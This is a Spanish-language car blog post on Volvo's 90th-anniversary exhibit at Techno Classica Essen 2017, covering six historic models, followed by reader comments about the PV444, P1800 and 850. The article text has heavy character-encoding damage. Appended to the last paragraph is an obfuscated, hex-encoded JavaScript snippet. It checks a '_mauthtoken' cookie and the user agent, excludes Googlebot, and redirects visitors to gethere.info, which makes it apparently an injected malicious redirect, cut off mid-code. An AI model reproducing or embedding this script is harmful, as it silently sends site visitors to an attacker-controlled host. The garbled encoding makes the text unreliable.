Techno Classica 2017: Volvo celebra 90 aAi??os

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Volvo PV 444
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Volvo Cars cumple 90 aAi??os y lo festejarA? con un display especial con algunos modelos histA?ricos y otros actuales en el show mA?s grande del mundo de autos clA?sicos, la Techno Classica Essen, que comienza el miAi??rcoles 5 y cerrarA? sus puertas el domingo 9 de abril.

Fue el 14 de abril de 1927 que el primer automA?vil de Volvo saliA? rodando por la puerta de la planta de Gotemburgo, en Suecia, y para resumir estas nueve dAi??cadas de historia industrial, Volvo eligiA? seis de sus modelos mA?s emblemA?ticos que, a partir de aquAi??, describimos brevemente, para exhibir en la muestra alemana.

El PV654 de 1934 es el primero de ellos. La serie 600 apareciA? en 1929, dos aAi??os despuAi??s de que la pequeAi??a compaAi??Ai??a sueca comenzara su producciA?n. Cuenta con un diseAi??o de neta inspiraciA?n norteamericana y un potente motor seis cilindros de 3 litros bajo el capot. De este modelo se llegA? a ofrecer una variante con siete asientos, requerida principalmente para servicio de taxi. Se produjeron cerca de 4.400 ejemplares del PV600 a lo largo de los ocho aAi??os en que se mantuvo en producciA?n.

En orden cronolA?gico le sigue el PV444, llamado “el pequeAi??o Volvo” cuando fue mostrado por primera vez en 1944, en Estocolmo. Sin embargo, debido a la escasez de materiales debido a las necesidades de la Segunda Guerra Mundial, la producciA?n reciAi??n comenzarAi??a en 1947. Por primera vez, Volvo ofrecAi??a un modelo accesible a los bolsillos de personas con ingresos medios, y por ello durante unos aAi??os, la demanda fue superior a las posibilidades de producciA?n. El PV444 fue el primer modelo de Volvo en ser exportado a los Estados Unidos. El primero ejemplar llegA? al puerto de Long Beach, en California, en 1955 y, apenas dos aAi??os despuAi??s, Volvo se convertAi??a en la segunda marca importada en volumen de ventas en el estado del suroeste norteamericano.

El P1800 probablemente es el mayor Ai??cono en la historia de Volvo. Su fama se expandiA? alrededor del mundo al ser el auto de “El Santo”, la popular serie de TV de los aAi??os 60, protagonizada por Roger Moore en el papel de Simon Templar. Fabricado desde 1961 hasta 1973, el P1800 es un vehAi??culo muy buscado por los coleccionistas hoy en dAi??a.

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A finales de noviembre de 1967, Volvo presentA? la tercera variante de lo que se convertAi??a en una familia de modelos completa, la rural 145. Este modelo era la derivaciA?n familiar de la Serie 140, y se convirtiA? en un Ai??xito inmediato gracias a su portA?n tan vertical, que consentAi??a un excelente acceso al espacio de carga, un habitA?culo espacioso y confortable, sumado esto a un atributo que acompaAi??A? a la marca sueca durante toda su vida: la seguridad. La capacidad de carga en la 145 era superior a los dos metros cA?bicos y el piso podAi??a quedar absolutamente plano.

Aprovechando su aniversario nA?mero 50, otro de los protagonistas del stand de Volvo en Techno Classica serA? el 262C. Este cupAi?? fue el resultado de la cooperaciA?n entre Volvo y Bertone, diseAi??ado en Suecia pero construido en TurAi??n, Italia. Con capacidad para cuatro pasajeros, es movido por el PRV V6 de 140 HP, y se construyeron un total de 6.622 ejemplares entre 1977 y 1981.

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El A?ltimo de los autos histA?ricos en este evento que justamente los celebra, serA? el 850 R, versiA?n de alta performance del exitoso 850. Fue presentado en 1996 para suceder al 850 T5-R. Su motor, montado transversalmente, es un 5 cilindros en lAi??nea de 2.3 litros digno de producir 250 HP, con lo que es capaz de alcanzar los 100 km/h con partida detenida en sA?lo 7,5 segundos. El intenso color rojo sA?lo estaba disponible para esta versiA?n R, pero el auto tambiAi??n podAi??a elegirse en otros cinco colores, segA?n el mercado. El 850 R se construyA? tanto en versiA?n sedA?n como familiar y es, actualmente, un auto muy demandado en Europa por los amantes de los “youngtimers”.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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3 Comentarios, RSS

  1. Alvaro 04/04/2017 @ 6:22 pm

    Mi padre tuvo un PV444 color gris acelestado claro, era del año 1956 y lo compró usado a una compañía sueca radicada en la Argentina, tenía caja de 3 velocidades con palanca al piso, ya venía equipado de fábrica con cinturones de seguridad bandolera adelante y una calefacción que te derretía !!!; no caminaba mucho pero tengo muy buenos recuerdos del mismo, porque a pesar de las tropelías que le hacía el que escribe, nunca le pasaba nada, era fuertísimo en todo sentido. Aparte si bien no era igual a los que vinieron a correr el Gran Premio Standard tenía el mismo “look”, por lo que era fachero y ayudaba para hacer pinta delante de las chicas, que demás está decir les gustaba mucho…

  2. Valentín 05/04/2017 @ 12:17 pm

    ¡Qué buena que estaba la de bordó!. Ayer, hoy y siempre. Hay que tener en cuenta: año ’47. El Volvo una burda copia del Fleetline ’47. En esa época los europeos querían hacer autos americanos.-

  3. MATIASS 05/04/2017 @ 4:14 pm

    Siempre me gustaron los pv444/544, ese aire a forcito 46, pero mas delicado, un auto muy robusto y fiable.
    La p1800 sin duda una de las coupes mas lindas jamas fabricadas y el 850, para mi el ultimo volvo, el ultimo ladrillo de Wilsgaard.

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